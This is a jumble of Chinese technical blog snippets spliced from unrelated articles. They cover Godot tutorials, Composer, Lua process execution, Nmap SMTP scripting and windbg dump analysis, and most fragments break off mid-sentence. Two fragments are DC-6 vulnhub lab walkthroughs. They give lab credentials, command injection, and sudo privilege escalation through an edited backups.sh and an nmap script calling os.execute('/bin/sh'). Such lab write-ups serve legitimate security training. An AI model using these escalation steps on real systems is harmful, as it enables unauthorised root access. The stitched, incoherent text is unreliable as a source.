在你自己的 VCS(代码管理工具) 中将产生与你依赖的资源包重复的历史记录。通过 git 的一个 git 仓库安装添加依赖,将把它们视作子模块。...在每一个依赖安装后删除其下的 .git 文件夹,然后你就可以添加它们到你的 git repo 中。...但这意味着你在运行 composer update 命令前需要先删除磁盘中的依赖文件。...这种方法不需要你在运行 composer update 命令前删除你磁盘中的依赖文件。...如果我们通过标准的 git ignore 文件生成器来生成 composer 的ignore 文件的话,我们也看到上面提示忽略的内容。
通过使用 GDExtension C++ 编写扩展插件,可以作为库文件在 Godot 中交互使用。...Windows 平台,可以将源代码编译成为 Windows 平台下的后缀为 .exe 的可执行文件。...,-e 选项表示当前命令执行失败时,停止执行后续命令,-x 选项表示输出具体的执行命令和过程。...本文使用的 src 目录下的文件是 Godot 4.2 官方文档中的示例代码,具体见 GDExtension C++ example — Godot Engine (stable) documentation...剩下的文件中,.gitignore 文件来自 godot/.gitignore at master · godotengine/godot。
安装方便,下载完成后解压只有一个exe,运行即可,并且安装包小。 Godot的劣势 由于是开源,暂不支持导出PS4/PS5、Switch。 Godot的教程和资料很少,几乎只能查API。...语言推荐 Godot支持的编程语言有GDScript和C#,这里推荐使用GDScript,虽然我对C#比较熟悉,但是考虑到C#运行环境版本及需要编译执行,所以并不推荐C#。...Rcedit 在导出选项中选择它之前,您需要额外安装一个名为 rcedit 的工具。您可以在这里进行下载。 下载后,您需要告诉 Godot 计算机上 rcedit 可执行文件的路径。...点击 rcedit 条目的文件夹图标。导航到并选择 rcedit 可执行文件。...文件夹结构 我开发时按照以下目录进行分类管理文件 dist(游戏导出目录) addons(插件) scenes(游戏场景) scripts(脚本) scenes(场景中挂载代码) autoload
本页目录 某脚本文件为 我们调用os.execute(XXX)执行此脚本 io.popen 废话不多说,直接上案例!...(XXX)执行此脚本 os.execute('lua XXXX.lua') -- 返回值个数只有1个,0代表执行成功 可见 os.execute 没有有效的返回值。...注意,我们脚本的return的内容不会有效,我们直接print(写在返回文件流的内容)即可!...= returnfile:read("*a") returnfile.close() 可能直接写成(但是我不知道io.close()是不是一个对象,还是说io.close()将此线程的所有io对象全部关闭了...) local result = io.popen('lua XXX.lua'):read("*a") io.close() 特殊说明: 以上文章,均是我实际操作,写出来的笔记资料,不会盗用别人文章!
同时我之前看到了vue-cli 源码 里有 read-pkg 这个包。源码仅27行,非常值得我们学习。 阅读本文,你将学到: 1. 如何学习调试源码 2....用最新的VSCode 打开项目,找到 package.json 的 scripts 属性中的 test 命令。鼠标停留在test命令上,会出现 运行命令 和 调试命令 的选项,选择 调试命令 即可。...如果模块里面还有一个数据文件 data.txt,那么就可以用下面的代码,获取这个数据文件的路径。...new URL('data.txt', import.meta.url) 注意,Node.js 环境中,import.meta.url 返回的总是本地路径,即是file:URL协议的字符串,比如 file...学 Node.js 可以多找找简单的 npm 包学习。比直接看官方文档有趣多了。不懂的就去查官方文档。查的多了,自然常用的就熟练了。
wode 0x01 从SMTP协议说起 优秀的扫描器都有邮件通知的功能,Nmap也一样,在Nmap的库文件中已经为我们提供了用来操作SMTP协议的库文件smtp.lua。...为了便于我们来理解SMTP指令的使用,下面我简单介绍下,在CMD下,如何用telnet发送SMTP指令的方式发出一封邮件。 telnet smtp.163.com 25 ?...nmap --script smtp -oG 1.txt 这个方法有点简单粗暴哈,有更好方案的小伙伴吗?...注意,因为发送邮件头和邮件正文是有一个回车换行的,但是实际代码,我确是拼接了2个\r\n才区分开正文和邮件头。...没错,用python发邮件更加容易,而且我们可以在lua中来执行python脚本,简单粗暴的方式如下:直接用lua的os.execute命令执行系统命令,而sendmail.py则写好了如何发送邮件。
讲故事 前几天在调试物联柜终端上的一个bug时发现 app.config 中的数据库连接串是加密的,因为调试中要切换数据库,我需要将密文放到专门的小工具上解密,改完连接串上的数据库名,还得再加密贴到 app.config...从DAL/Repository层去反编译代码 要想得到明文的数据库连接串,可以从代码中反推,比如从 DAL 或者 Repository 中找连接串字段 ConnectionString,我这边的终端程序是用...这些FCL的类你是没法混淆的,我从这些类上反推可以很轻松的就能找到明文的 ConnectionString ,所以这条路我觉得是走不通的。...接下来的问题就是有没有办法把进程中的这个静态变量给挖出来?你说的对,就是抓程序的 dump文件 用 windbg 去挖。 三:使用 windbg 去脱库 1....从上图中可以看到,静态字段是在 Manager 类型对象 中,实例字段都是在 Manager 对象 中,对照这张图,我只需要通过 windbg 找到 OleDbHelper 类型对象,也就是所谓的 EEClass
64 位 Windows 版本总大小不到 40M ,官网下载页面直达: https://godotengine.org/download ,下载 zip 包后解压无需安装,直接使用,不过这里有三件小事情我要告诉大家...配置文件夹位置:如果你直接打开 Godot.exe ,那么它的配置文件默认生成在 C 盘目录下(我使用的是 Win10 系统),但是你可以随时改回来,只需要在 Godot 软件文件夹下创建一个 _sc_...的文件即可,后面我有截图说明。...OK ,双击 exe 文件,开始那愉快的 Godot 之旅吧,骚年! ? 界面介绍 首先是开场白 打开 Godot 第一眼是很普通的项目控制面板,这里可以设置编辑器的显示语言: ?...编程语言 在本系列的第一篇文章中,我说过如果你曾经是 Adobe Flash 的开发者,那么你对 Godot 中一个节点绑定一个脚本的约定会感觉非常熟悉。
一、前言 说明:我目前使用的 Godot 3.1 预览版,所以会与 Godot 3 的版本有一些区别,界面影响不大,如果要使用我上传的 Github Demo 代码,记得去官网下载 3.1 预览版(或者等之后正版发布...重铺图片导入 接着是地面的图片设置,还是使用上一节中的图片,之前我已经提到了如何设置普通图片材质的平铺属性,不过,之前的设置在重新打开后会丢失,如果保存平铺设置?...哈哈,其实原因在上图我已经说明了,这是由于 Godot 中节点的渲染顺序引起的,越在上面的节点,渲染顺序越前,所以下面的节点会最后渲染,造成的结果就是:可能会覆盖之前渲染的上面的一些节点。...,不是吗?...开始拿起笔头编写脚本吧,这里我把基本完工的脚本贴出来,你可以从英文单词释义或者我的注释中得到每一行代码的功能是什么样的,具体如下: # 继承于Node2D extends Node2D # 常量,表示速度
5. get_tree().paused 我在游戏中添加了暂停的功能,相信大部分游戏都有这个功能吧。在 Godot 中暂停功能非常容易实现!...对于新手来说,我觉得可以把协程简单地理解为:程序运行到该位置( yield ),暂停挂起在当前位置,继续执行其他代码,当时机到来,回到刚才挂起的位置继续执行。...文件夹的管理 在我之前的文章里,对于小项目我都没有做特殊的文件管理,但是当游戏项目越来越大的时候,我们需要引起足够的重视,因为这会影响开发速度、以及团队合作的效率。...Unity 和 Godot 中文件管理的风格样式,我个人更倾向于 Godot 的文件组织方式,因为等会我还会讨论一条重要的开发原则:尽量保持每个子场景的独立性!...保持场景独立 嗯,我认为这是 Godot 中开发游戏最重要的一条原则了!它能明显地提升开发效率,提高团队合作,更利于 Debug 调试。
开发过 Unity 游戏的同学们知道一个叫 ScriptableObject 的很有用的类,它可以用于数据的包装,在不少场合中应该是非常有用的,那么在 Godot 中有没有这个类似的特性呢?...这些我都会谈到,更重要的是,我今天会利用 Resource 提出一个全新的、灵活的、“强力”解耦的 EventBus 全局事件模式。感兴趣吗?那我们继续。...[常用资源类型] 资源的创建和使用也非常简单,不过,目前在 Godot 3 版本中也存在一些局限性,接下来我们详细聊聊。...用 Resource 创建全局事件的 EventBus 可以说这是本文的重点,目前我还没有看到有任何人在项目中使用过这种方式,且听我慢慢道来~~~ 首先,关于 Godot 中的 signal 信号以及观察者模式相信大家都已经驾轻就熟了...,强力解耦,使用起来非常方便,调试也非常简单,易扩展和维护 关于第二种方式是大家推荐的模式,我在之前的示例中就使用过:(Godot游戏开发实践之一:使用High Level Multiplayer API
不过到了 10 月份会慢慢恢复,目前我在抽出一点时间好好准备这个 Godot 系列,边写边学习边迎接 Godot 3.1 版本的到来,也算是一件高兴地事情,哈哈。 ?...还记得上一篇我介绍过的吗? Node 是 2D 和 3D 节点的共同父节点,所以 2D 游戏场景中使用 Node 作为父节点没任何问题。...第三步:在上一步完成后游戏运行我们知道啥都没有是因为场景中只有一个空的根节点。是时候添加一些游戏元素了,这就是 Godot 中丰富的节点体系。我们要做一个自由落体小 Demo 。...如何在 Godot 中实现呢?...第二种方式 Godot 中的节点非常强大,而且又不失灵活性!
在这两篇文章里,我会详细讲述 Godot 3 中制作简单精灵动画的三种方法,其中上部分包含两种,下部分讨论第三种方式。 ?...在上一节内容中,我们还了解到了 Godot 中图片的坐标原点位置的相关设置。 ?...这个时候你会想:我如果在代码中获取 Swan 的 Frame 属性,然后把它的值每次往前加 1 不就可以生成动画了吗?的确可以!...不过这不是我们要讨论的重点,我所要给大家介绍的是 Godot 中强大到能够控制一切的关键帧动画节点工具: AnimationPlayer !...所有代码 我们的游戏终于完成了,这里我附上所有的代码,如果你已经阅读过前面两篇文章:Godot3游戏引擎入门之三:移动我们的主角,那么请跳过。
适用于任何有兴趣开始使用godot-rust这个crate为Godot编写GDNative Rust代码的人,我使用Rust跟着HeartBeast的Godot Action RPG系列教程(旨在教授引擎和...最后,我学到了很多关于Godot和godot-rust crate的知识,并得出结论,我不确定使用Rust w/Godot对于简单或非高性能项目是否有必要,因为你没有得到Rust的好处;你被C++的限制所束缚...我打算等到Godot 4.0再做最终判断,因为它承诺为GDScript以外的语言提供更符合人体工程学的api接口(他们在报告中包括Rust)。...我的repo,这个练习的结果,可以在这里找到 godot-action-rpg-tutorial-rs。 我会尽我所能回答问题。祝您愉快!...— Quine Dot 在 rust-users 发言 你想知道什么比学习生命期更难吗?通过二十年时间去犯可预防的错误能学习同样的课程。
passwords.txt 找到账户密码:mark/helpdesk01 登录后,后台的一个工具里面有个功能,存在命令执行漏洞 用 burp 抓一下包,看一下,在后面加上个 ;ls 成功回显了目录下的文件...pty;pty.spawn('/bin/bash')" 开启一个好看点的 shell 在 mark 的目录下找到了一个用户名和密码 graham/GSo7isUM1D4 这个账户可以直接 ssh 登进来...ssh graham@192.168.149.164 登陆以后,sudo -l 发现一个不需要密码就可以用的 在后面追加一个 /bin/bash,这样运行的时候就能拿到 jens 的 shell 了..."/bin/bash" >> /home/jens/backups.shsudo -u jens /home/jens/backups.sh 再找一下,这次是 nmap 可以写个脚本,让 nmap 来执行脚本...,然后拿到 shell echo 'os.execute("/bin/sh")' > shell.nsesudo nmap --script getroot.nse ?
节点进行可行区域绘制,在 TileMap 中绘制可行区域需要在 TileSet 中绘制相应的 Navigation 形状即可,可以参考我之前的文章: Godot3游戏引擎入门之七:地图添加碰撞体制作封闭的游戏世界...这里我的实现方式稍做了修改:我把记录玩家,也就是目标的行踪点数据放在了 AI 脚本中,而非玩家的脚本。...# 跟踪记录位置计时器 var _trackPoints := [] # 跟踪目标的位置点集合 var _trackTarget : Node2D = null # 跟踪目标,也可以用父类中的...之后我还会发文解析如何将 Unity 中的 Pluggable AI With Scriptable Objects 系列转到 Godot 中,大家拭目以待吧。...:smile: PS: Demo 中画出来的射线状态(红色代表碰撞,其他颜色则表示无碰撞)有点问题,我还在研究中…… 我的博客地址: http://liuqingwen.me ,我的博客即将同步至腾讯云
,就可以直接爆破 寻找了一番,发现DC-6的作者已经把密码告诉我了我们:https://www.vulnhub.com/entry/dc-6,315/ OK, this isn't really a clue.../home/jens文件下看到backups.sh脚本 执行 sudo -l 发现无密码执行权限,利用这个sh脚本可以直接获取到jens的shell 执行一下命令 #将脚本中的内容清空 cat /dev.../null > backups.sh #将/bin/bash写入backups.sh文件中 echo "/bin/bash" >> backups.sh 执行 #使用jens用户执行sh脚本文件即可获取.../backups.sh 成功拿到jens用户的shell 执行 #查看jens权限 sudo -l 可以看到这里可以利用nmap进行提权 进入/home/jens目录,执行下面两条命令 #将os.execute...('/bin/bash')写入到root.nse文件中 echo "os.execute('/bin/bash')" >> root.nse #利用nmap插件执行 /bin/bash 来获取root
除此之外,我还会介绍 Godot 中两个非常重要的概念或者实用技巧:子场景的创建和 Godot 中信号的使用。...这就是 Godot 中所谓的 Sub-Scene 子场景概念了。 说的很多,实际上做起来很简单。首先,我又得做下比较了: Godot 中的子场景可比 Unity 中的预制体功能强大多了!...,如果不明白怎么回事,又发生了金币不能被正常收集,那么你可以参考我之前的文章,使用 Godot 的碰撞体调试功能测试一下吧!...连接后我们打开脚本文件,可以看到 Godot 自动帮我们添加了一个方法,同时在 Area2D 的信号面板中也有了变化: body_entered(PhysicsBody2D body) 信号下有了新建方法的连接提示...链接按钮,然后选择我们保存的金币场景资源 Coin.tscn 文件,即可实例化一个金币到主场景中,重复这个操作,多添加几个金币,放置到不同的位置,充分发挥你的想象吧! ?
友好的版本控制 你是否曾经遇到过在使用 Unity 或者 Unreal 的时候发生了场景或者预制体或者其他的对象文件在仓库的版本冲突问题?...如果有的话,难么你应该知道这是多么痛苦的一件事了,特别是在大型团队里。 在 Godot 中任何对象都是以文本文档的形式保存,对于合并冲突来说是绝对是一种非常友好而且可读性强的文件格式。...另外,我觉得 GDScript 是让新用户拒而远之的最主要原因。我重点列举以下我所听见的抱怨中的几条: 我是不是必须要学习一门只能在 Godot 中使用的编程语言?...在 Reakt 的开发过程中,我们使用 Godot 2.1.3 版本,发现了一些小的 Bug 和一些怪异的地方: 我有一台 13 寸的 Macbook Pro Retina 。...在 Godot 中创建原生模块非常繁琐:你不得不下载引擎源码,在指定的文件夹中创建并包含原生模块,编译 Godot 引擎,接着编译测试版和发布版。
注意:本系列文章包括本篇依旧使用 Godot 3.1 预览版讲述故事的经过,但这并不影响学习使用 Godot 3.0 版本中的瓦片地图制作,不过在此我要提醒的是:预览版中 TileMap 新增了一些强大且实用的功能...在 Godot 中制作瓦片集是非常简单的,我这里介绍常用的两种方式,以及第三种:利用 Godot 3.1 中瓦片地图新特性快速打造自动瓦片地图集!...图片过多导致文件难以管理,加载性能也会下降,这时候我们一般会把图片制作成 SpriteSheet 图片精灵集,这样既能减少文件数量,方便管理,又能提高加载速度和游戏的性能,关于 SpriteSheet...其他说明 这里我们只是简单地尝试了一下 Godot 中的瓦片地图制作,后续有机会我还会介绍如何在瓦片地图上添加一些其他物理特性,比如光照遮挡,或者添加真正的碰撞体,以实现游戏世界中的墙壁、地面等。...读完,我相信你应该会和我感受一样: Godot 必定能火!哈哈!最后,附上 InfoQ 中关于 Github 的最新统计信息报告: GitHub发布史上最大更新,年度报告出炉!
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